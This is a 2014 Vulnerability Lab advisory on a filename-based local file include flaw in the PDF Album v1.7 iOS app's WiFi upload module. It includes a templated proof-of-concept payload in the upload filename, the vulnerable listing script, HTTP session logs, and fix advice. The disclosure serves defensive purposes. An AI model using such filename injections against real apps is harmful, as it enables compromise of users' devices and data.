Document Title:
===============
PDF Album v1.7 iOS - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1255


Release Date:
=============
2014-04-11


Vulnerability Laboratory ID (VL-ID):
====================================
1255


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
Here is a creative way to record an idea, a page in a book or newspapers, what you learned, even a travel memory. You can get content from camera, 
image or text editor, then pick them up into a pdf file and compose them as you wish. You can order the pages in project, then save the project 
and open it again when you want to add or change it. You can get pdfs via WIFI or read them in this app.

(Copy of the Homepage: https://itunes.apple.com/ch/app/pdf-album/id590232990 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official PDF Album  v1.7 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-04-11:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Lintao Zhao
Product: PDF Album - iOS Mobile Application 1.7


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official PDF Album  v1.7 iOS mobile web-application. The local file include 
web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise 
the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious 
`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs 
in the `pdf album index item` list context. The attacker can inject the local file include request by usage of the `wifi interface` or by a local 
privileged application user account via `folder sync`.

Attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different 
local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security 
risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 6.8(+)|(-)6.9.

Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user account with low user auth. 
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.

Request Method(s):
				[+] [POST] - Remote
				[+] [SYNC] - Local

Vulnerable Module(s):
				[+] Browse File > Upload

Vulnerable Parameter(s):
				[+] filename.*.pdf

Affected Module(s):
				[+] PDF Album - Index Item Listing (http://localhost:8808/)


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by local attackers with low privileged user account without required user interaction.
For security demonstration or to reproduce the local file include vulnerability follow the provided information and steps below to continue.

PoC: Exploit Code

<table cellpadding="0" cellspacing="0" border="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr></thead>
<tbody id="filelist">
<tr><td><a href="/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf" class="file">
>"<./[LOCAL FILE INCLUDE VULNERABILITY VIA PDF ALBUMNAME!">.pdf</a></td><td class='del'>
<form action='/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr>
<tr class="shadow"><td><a href="/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf" 
class="file">%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf</a></td><td class="del">
<form action="/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf" method="post">
<input name="_method" value="delete" type="hidden"><input name="commit" value="Delete" class="button" type="submit"></form></td></tr></tbody></table>


PoC: Vulnerable Source

<script type="text/javascript" charset="utf-8">
		var now = new Date();
		$.getJSON("/files?"+ now.toString(),
		function(data){
		  var shadow = false;
		  $.each(data, function(i,item){
		    var trclass='';
		    if (shadow)
		      trclass= " class='shadow'";
			encodeName = encodeURI(item.name).replace("'", "'");
		  $("<tr" + trclass + "><td><a href='/files/" + encodeName + "' class='file'>" + item.name + "</a></td>" + "<td class='del'><form action='/files/" + encodeName + "' method='post'><input name='_method' value='delete' type='hidden'/><input name=\"commit\" type=\"submit\" value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist");
		    shadow = !shadow;
		  });
		});
		</script>


PoC Link: 
http://localhost:8808/files/%3E%22%3C[FILE INCLUDE VULNERABILITY!]%3E.pdf


--- PoC Session Logs [POST] ---
Injection via Wifi UI > Upload (iChm File Management)
14:44:34.743[170ms][total 170ms] Status: 302[Found]
POST http://192.168.2.104:8808/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[192.168.2.104:8808]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104:8808/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------1145570518587
Content-Disposition: form-data; name="newfile"; filename="%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png"
Content-Type: image/png

Note: A local injection by usage of the app album name value is also possible via regular sync!


--- PoC Session Logs [GET] ---
Execution PDF Album (iChm File Management)
14:43:20.010[836ms][total 1106ms] Status: 200[OK]
GET http://192.168.2.104:8808/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[2773] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.104:8808]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2773]
      Date[Do., 10 Apr. 2014 12:54:15 GMT]


14:43:20.874[48ms][total 48ms] Status: 200[OK]
GET http://192.168.2.104:8808/jquery.js Load Flags[VALIDATE_ALWAYS ] Gr��e des Inhalts[55774] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.104:8808]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104:8808/]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[55774]
      Date[Do., 10 Apr. 2014 12:54:15 GMT]


14:43:21.062[41ms][total 41ms] Status: 200[OK]
GET http://192.168.2.104:8808/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY!].*; Load Flags[LOAD_DOCUMENT_URI  ] Gr��e des Inhalts[0] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.104:8808]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104:8808/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[0]
      Date[Do., 10 Apr. 2014 12:54:15 GMT]



Reference(s):
http://localhost:8808/files/
http://localhost:8808/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and restriction of the vulnerable filename value in the upload POST method request.
Encode and filter also the output name value for item list to prevent application-side executions and malicious injected context via POST method.


Security Risk:
==============
The security risk of the local file include web vulnerability in the mobile application is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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